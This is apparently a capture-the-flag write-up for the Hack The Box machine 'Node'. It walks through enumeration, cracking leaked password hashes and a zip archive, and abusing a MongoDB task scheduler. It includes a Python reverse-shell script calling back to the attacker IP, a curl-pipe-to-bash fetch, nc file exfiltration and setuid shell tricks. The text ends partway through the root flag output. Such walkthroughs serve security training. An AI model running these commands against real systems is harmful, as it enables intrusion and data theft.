--- search: exclude: true --- # Node Writeup ![](img/13.png) ## Introduction : Node is a medium linux box released back in October 2017. ## **Part 1 : Initial Enumeration** As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. λ nihilist [ 10.10.14.11/23 ] [~] → nmap -F 10.10.10.58 -Pn Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 20:32 GMT Nmap scan report for 10.10.10.58 Host is up (0.11s latency). Not shown: 98 filtered ports PORT STATE SERVICE 22/tcp open ssh 3000/tcp open ppp Nmap done: 1 IP address (1 host up) scanned in 5.26 seconds λ nihilist [ 10.10.14.11/23 ] [~] → nmap 10.10.10.58 -sCV -p22,3000 -Pn Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 20:33 GMT Nmap scan report for 10.10.10.58 Host is up (0.10s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA) | 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA) |_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519) 3000/tcp open hadoop-datanode Apache Hadoop | hadoop-datanode-info: |_ Logs: /login | hadoop-tasktracker-info: |_ Logs: /login |_http-title: MyPlace Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds ## **Part 2 : Getting User Access** Our nmap port picked up a http service running on port 80, so let's try to investigate it with dirsearch/gobuster : λ nihilist [ 10.10.14.11/23 ] [~] → dirsearch -u http://10.10.10.51:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 -e php,txt,html -x 200 git clone https://github.com/maurosoria/dirsearch.git dirsearch -u -e -t 50 -x 500 _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 87646 Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-03_20-40-22.log Target: http://10.10.10.51:3000/ CONNECTION TIMEOUT: There was a problem in the request to: Task Completed λ nihilist [ 10.10.14.11/23 ] [~] → gobuster dir --url http://10.10.10.58:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.58:3000/ [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/03/03 20:41:03 Starting gobuster =============================================================== Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.58:3000/faa34154-d721-4655-ac39-9224e8387b5c => 200. To force processing of Wildcard responses, specify the '--wildcard' switch Right away we can see that this box may not be as easy as we think, because bruteforcing files on the website on port 3000 returns the same response (status 200) which basically means that we have nonexistant pages. ![](prg/13_001.png) SQL Injection doesn't seem to work here, but nonetheless pressing F12 > Debugger > we see that an angular JS script named profile.js is being used in assets/js/app/controllers/ ![](prg/13_002.png) Being hinted towards /api/users/ we investigate : ![](prg/13_003.png) And we get a few usernames along with their hashes which can be easily identified with hash-identifier : λ nihilist [ 10.10.14.11/23 ] [~] → hash-identifier ######################################################################### # __ __ __ ______ _____ # # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # # By Zion3R # # www.Blackploit.com # # Root@Blackploit.com # ######################################################################### -------------------------------------------------- HASH: dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af Possible Hashs: [+] SHA-256 [+] Haval-256 Least Possible Hashs: [+] GOST R 34.11-94 [+] RipeMD-256 [+] SNEFRU-256 [+] SHA-256(HMAC) [+] Haval-256(HMAC) [+] RipeMD-256(HMAC) [+] SNEFRU-256(HMAC) [+] SHA-256(md5($pass)) [+] SHA-256(sha1($pass)) -------------------------------------------------- So let's use hashcat to crack them with rockyou.txt, with the correct SHA-256 algorithm : λ nihilist [ 10.10.14.11/23 ] [~] → hashcat -m 1400 -a 0 hashes /usr/share/wordlists/rockyou.txt hashcat (v3.5.0) starting... Dictionary cache hit: * Filename..: rockyou.txt * Passwords.: 14343296 * Bytes.....: 139921497 * Keyspace..: 14343296 f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240:spongebob de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73:snowflake dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester And we get a list of credentals for us to use : myP14ceAdm1nAcc0uNT manchester tom spongebob mark snowflake So we login as the admin account, and download the myplace.backup file for us to inspect it further : λ nihilist [ 10.10.14.11/23 ] [~] → cd _HTB λ nihilist [ 10.10.14.11/23 ] [~/_HTB] → mkdir Node λ nihilist [ 10.10.14.11/23 ] [~/_HTB] → cd Node λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → cp /home/nihilist/Downloads/myplace.backup . λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → file myplace.backup myplace.backup: ASCII text, with very long lines, with no line terminators so we have some ascii text, but upon opening it we see that it may look like base64 so let's decode it : λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → cat myplace.backup | base64 -d > myplace λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → file myplace myplace: Zip archive data, at least v1.0 to extract λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → unzip myplace Archive: myplace creating: var/www/myplace/ [myplace] var/www/myplace/package-lock.json password: password incorrect--reenter: password incorrect--reenter: skipping: var/www/myplace/package-lock.json incorrect password creating: var/www/myplace/node_modules/ creating: var/www/myplace/node_modules/serve-static/ [myplace] var/www/myplace/node_modules/serve-static/README.md password: password incorrect--reenter: And we get a zip archive ! although when we try to unzip it we need to give it a password , and our previous three passwords aren't working here. so let's use fcrackzip and rockyou.txt to try and guess the password : λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup PASSWORD FOUND!!!!: pw == magicword λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → unzip myplace Archive: myplace [myplace] var/www/myplace/package-lock.json password: So we unzip it and we have a bunch of files to work with, most notably /var/www/myplace/app.js : ![](prg/13_005.png) Which reveals mark's password : 5AYRft73VtFpc84k so let's ssh as mark : λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → ssh mark@10.10.10.58 The authenticity of host '10.10.10.58 (10.10.10.58)' can't be established. ECDSA key fingerprint is SHA256:I0Y7EMtrkyc9Z/92jdhXQen2Y8Lar/oqcDNLHn28Hbs. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.58' (ECDSA) to the list of known hosts. mark@10.10.10.58's password: The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. .-. .-'``(|||) ,`\ \ `-`. 88 88 / \ '``-. ` 88 88 .-. , `___: 88 88 88,888, 88 88 ,88888, 88888 88 88 (:::) : ___ 88 88 88 88 88 88 88 88 88 88 88 `-` ` , : 88 88 88 88 88 88 88 88 88 88 88 \ / ,..-` , 88 88 88 88 88 88 88 88 88 88 88 `./ / .-.` '88888' '88888' '88888' 88 88 '8888 '88888' `-..-( ) `-` The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3 mark@node:~$ id uid=1001(mark) gid=1001(mark) groups=1001(mark) mark@node:~$ cat /home cat: /home: Is a directory mark@node:~$ ls /home frank mark tom mark@node:~$ cat /home/mark/user.txt cat: /home/mark/user.txt: No such file or directory mark@node:~$ cat /home/frank/user.txt cat: /home/frank/user.txt: No such file or directory mark@node:~$ cat /home/tom/user.txt cat: /home/tom/user.txt: Permission denied As you can see here, we are logged in as mark and we have 3 users to work with : frank, mark and tom. although we need to gain tom's privileges to be able to print the flag. so let's list tom's running processes : mark@node:~$ ps -ef | grep tom tom 1211 1 0 Mar03 ? 00:00:12 /usr/bin/node /var/www/myplace/app.js tom 1221 1 0 Mar03 ? 00:00:07 /usr/bin/node /var/scheduler/app.js mark 1600 1579 0 06:01 pts/0 00:00:00 grep --color=auto tom So let's investigate /var/scheduler/app.js : mark@node:~$ cd /var/scheduler mark@node:/var/scheduler$ cat app.js const exec = require('child_process').exec; const MongoClient = require('mongodb').MongoClient; const ObjectID = require('mongodb').ObjectID; const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource;=scheduler'; MongoClient.connect(url, function(error, db) { if (error || !db) { console.log('[!] Failed to connect to mongodb'); return; } setInterval(function () { db.collection('tasks').find().toArray(function (error, docs) { if (!error && docs) { docs.forEach(function (doc) { if (doc) { console.log('Executing task ' + doc._id + '...'); exec(doc.cmd); db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) }); } }); } else if (error) { console.log('Something went wrong: ' + error); } }); }, 30000); }); And here we see the connection to the scheduler database, but what's ineresting is the setInterval function which will basically execute anything under the cmd value before deleting the doc from the collection. So let's log into the scheduler database as the user mark : λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → nano nihilist.sh λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → cat nihilist.sh #!/bin/bash python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → python -m SimpleHTTPServer 8080 Serving HTTP on 0.0.0.0 port 8080 ... mark@node:/tmp$ wget 10.10.14.11:8080/nihilist.sh && chmod +x nihilist.sh --2020-03-04 06:13:22-- http://10.10.14.11:8080/nihilist.sh Connecting to 10.10.14.11:8080... connected. HTTP request sent, awaiting response... 200 OK Length: 240 [text/x-sh] Saving to: ‘nihilist.sh’ nihilist.sh 100%[===============================================>] 240 --.-KB/s in 0s 2020-03-04 06:13:23 (18.6 MB/s) - ‘nihilist.sh’ saved [240/240] mark@node:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler MongoDB shell version: 3.2.16 connecting to: localhost:27017/scheduler > db.tasks.insert({"_id" : ObjectId("50e28180497eade7db1b7a5b"), "cmd" : "/tmp/nihilist.sh"}) WriteResult({ "nInserted" : 1 }) > db.tasks.find() And here we basically copy the /bin/dash binary into the /tmp folder in order to have an executable shell owned by the user tom. mark@node:~$ mongo -p -u mark scheduler MongoDB shell version: 3.2.16 Enter password: connecting to: scheduler > db.tasks.insert( { "cmd" : "cp /bin/dash /tmp/nihilist; chmod 6755 /bin/dash;" }) WriteResult({ "nInserted" : 1 }) > db.tasks.find() { "_id" : ObjectId("5e5fb1764ae843faaa36fbcc"), "cmd" : "cp /bin/dash /tmp/nihilist; chmod 6755 /bin/dash;" } > db.tasks.find() > exit bye mark@node:~$ ls -lash /tmp/nihilist 152K -rwxr-xr-x 1 tom tom 151K Mar 4 13:48 /tmp/nihilist mark@node:~$ mark@node:~$ ls -lash /tmp/nihilist 152K -rwxr-xr-x 1 tom tom 151K Mar 4 13:48 /tmp/nihilist mark@node:~$ /tmp/nihilist -p $ id uid=1001(mark) gid=1001(mark) groups=1001(mark) $ exit mark@node:~$ mongo -p -u mark scheduler MongoDB shell version: 3.2.16 Enter password: connecting to: scheduler > db.tasks.insert( { "cmd" : "chmod u+s /tmp/nihilist" } ) WriteResult({ "nInserted" : 1 }) > db.tasks.find() { "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" } > db.tasks.find() { "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" } > db.tasks.find() { "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" } > db.tasks.find() { "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" } > db.tasks.find() > exit bye mark@node:~$ /tmp/nihilist -p $ id uid=1001(mark) gid=1001(mark) euid=1000(tom) groups=1001(mark) $ whoami tom and here we can see that we have the binary named nihilist, owned by the user tom, therefore running it with the -p flag allows us to have tom's permissions. so let's print the user flag : mark@node:~$ /tmp/nihilist -p $ id uid=1001(mark) gid=1001(mark) euid=1000(tom) groups=1001(mark) $ cat /home/tom/user.txt cat: /home/tom/user.txt: Permission denied $ whoami tom $ cd /home/tom $ mkdir .ssh mkdir: cannot create directory ‘.ssh’: Permission denied $ cd .. $ ls -lash total 20K 4.0K drwxr-xr-x 5 root root 4.0K Aug 31 2017 . 4.0K drwxr-xr-x 25 root root 4.0K Sep 2 2017 .. 4.0K drwxr-xr-x 2 root root 4.0K Aug 31 2017 frank 4.0K drwxr-xr-x 3 root root 4.0K Sep 3 2017 mark 4.0K drwxr-xr-x 6 root root 4.0K Sep 3 2017 tom Now when we try to somehow edit something in any of the 3 user's directories we cannot , that's because they are owned by root, so let's move onto the root privesc : ## **Part 3 : Getting Root Access** In order to privesc to the root user, we need to first enumerate the box using LinEnum.sh _Terminal 1:_ λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → locate LinEnum.sh /home/nihilist/_HTB/Cronos/LinEnum.sh λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → cp /home/nihilist/_HTB/Cronos/LinEnum.sh . λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → python -m SimpleHTTPServer 8081 Serving HTTP on 0.0.0.0 port 8081 ... ` _Terminal 2:_ $ which curl /usr/bin/curl $ curl http://10.10.14.11:8081/LinEnum.sh | bash Not going to paste all the output of LinEnum.sh but we'll get to the interesting part: $ find / -perm -4000 2>/dev/null /usr/lib/eject/dmcrypt-get-device /usr/lib/snapd/snap-confine /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/openssh/ssh-keysign /usr/lib/policykit-1/polkit-agent-helper-1 /usr/local/bin/backup /usr/bin/chfn /usr/bin/at /usr/bin/gpasswd /usr/bin/newgidmap /usr/bin/chsh /usr/bin/sudo /usr/bin/pkexec /usr/bin/newgrp /usr/bin/passwd /usr/bin/newuidmap /tmp/nihilist /bin/ping /bin/umount /bin/fusermount /bin/ping6 /bin/ntfs-3g /bin/su /bin/mount $ cd /var $ ls backups cache crash lib local lock log mail opt run scheduler snap spool tmp www $ cd www/myplace $ ls app.html app.js node_modules package.json package-lock.json static $ grep -Ri backup . ./app.js:const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474'; ./app.js: app.get('/api/admin/backup', function (req, res) { ./app.js: var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]); ./app.js: var backup = ''; ./app.js: res.header("Content-Disposition", "attachment; filename=myplace.backup"); ./app.js: res.send(backup); ./app.js: backup += chunk; ./static/vendor/jquery/jquery.js: contextBackup = outermostContext, ./static/vendor/jquery/jquery.js: dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1), ./static/vendor/jquery/jquery.js: outermostContext = contextBackup; ./static/assets/js/app/controllers/admin.js: $scope.backup = function () { ./static/assets/js/app/controllers/admin.js: $window.open('/api/admin/backup', '_self'); ./static/partials/admin.html: Download Backup So we do have a few binaries for us to use with the SetUID flags for us to use, most notably the /usr/local/bin/backup that once we grep -Ri we know how it works, but still we have other things to do. but we there is something else we can still do with the mongodb cmd exploit in order to change the permissions of our nihilist binary. mark@node:~$ mongo -p -u mark scheduler MongoDB shell version: 3.2.16 Enter password: connecting to: scheduler > db.tasks.insert( { "cmd" :"chown tom:admin /tmp/nihilist; chmod 6755 /tmp/nihilist;"}) WriteResult({ "nInserted" : 1 }) > db.tasks.find() > exit bye mark@node:~$ ls -la /tmp/nihilist -rwsr-sr-x 1 tom admin 154072 Mar 4 13:48 /tmp/nihilist And here we execute the nihilist binary to be part of the admin group. mark@node:~$ /tmp/nihilist -p $ id uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark) $ cat /home/tom/user.txt cat: /home/tom/user.txt: Permission denied However as you can see, this is not enough and we still need to escalate more privileges. now before our find command found the /usr/local/bin/backup binary so let's copy it locally on our machine to inspect it : _Terminal 1:_ λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → nc -lvnp 8081 > backup listening on [any] 8081 ... ` _Terminal 2_ $ nc 10.10.14.11 8081 < /usr/local/bin/backup ` _Terminal 1_ λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → nc -lvnp 8081 > backup listening on [any] 8081 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.58] 36276 λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → file backup backup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → chmod +x backup λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → ./backup once given the permissions to execute backup, we get nothing, so let's examine it using radare2 : λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → r2 backup [0x08048780]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x08048780]> afl [0x08048780]> vvv let's analyse the assembly (aaa) then print out the function list (afl) and then having visual representation (vvv) once we hit spacebar to have a good representating graph of what the binary does : ![](prg/13_006.png) from here, we see that the binary's main function checks for the number of arguements equal to 3 and if it returns false, it jumps to the block on the left to exit altogether. which is probably what we're seeing. λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → ./backup 1 2 3 ____________________________________________________ / \ | _____________________________________________ | | | | | | | | | | | | | | | | | | | | | | | | | | | Secure Backup v1.0 | | | | | | | | | | | | | | | | | | | | | | | | | | | |_____________________________________________| | | | \_____________________________________________________/ \_______________________________________/ _______________________________________________ _-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-_ _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_ _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_ _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_ _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_ :-----------------------------------------------------------------------------: `---._.-----------------------------------------------------------------._.---' [!] Could not open file So once we give it 3 arguements it finally prints out something, so let's run strace as we originally intended, but this time using 3 arguements : λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → strace ./backup 1 2 3 [...] openat(AT_FDCWD, "/etc/myplace/keys", O_RDONLY) = -1 ENOENT (No such file or directory) write(1, " \33[33m[!]\33[37m Could not open fi"..., 36 [!] Could not open file ) = 36 write(1, "\n", 1 ) = 1 exit_group(1) = ? +++ exited with 1 +++ And here we see that it's trying to read something in /etc/myplace/keys so let's check it on our box : $ id uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark) $ cd /etc/myplace $ cat keys a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 **45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474** 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110 and we get 3 hashes ! and if you look closely, here we have one of the keys we found with our previous recursive grep -Ri command. so let's copy it locally and see what the binary tries to do once we have this /etc/myplace/keys file in place. λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Node] → mkdir /etc/myplace λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Node] → nano /etc/myplace/keys Now that it's in place, let's try to execute the backup with that one particular key we found again on the /root directory : λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root [+] Finished! Encoded backup is below: UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA== And we seem to get a base64 encoded string, let's copy it into a file, and decode it. λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → nano b64backup λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → cat b64backup UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA== λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → cat b64backup | base64 -d > b64d_backup λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → file b64d_backup b64d_backup: Zip archive data, at least v?[0x333] to extract And we have a zip archive, so let's try to unzip it : λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → unzip b64d_backup Archive: b64d_backup skipping: root.txt need PK compat. v5.1 (can do v4.6) λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → 7z e b64d_backup 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI) Scanning the drive for archives: 1 file, 1141 bytes (2 KiB) Extracting archive: b64d_backup -- Path = b64d_backup Type = zip Physical Size = 1141 Enter password (will not be echoed): Everything is Ok Size: 2584 Compressed: 1141 λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → ls b64backup b64d_backup backup nihilist.sh LinEnum.sh myplace myplace.backup root.txt var λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] → cat root.txt QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____. -~""??9VWQQQQQQQQQQQQQQQQQQQ QQQQQQQQQQQQQP'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ 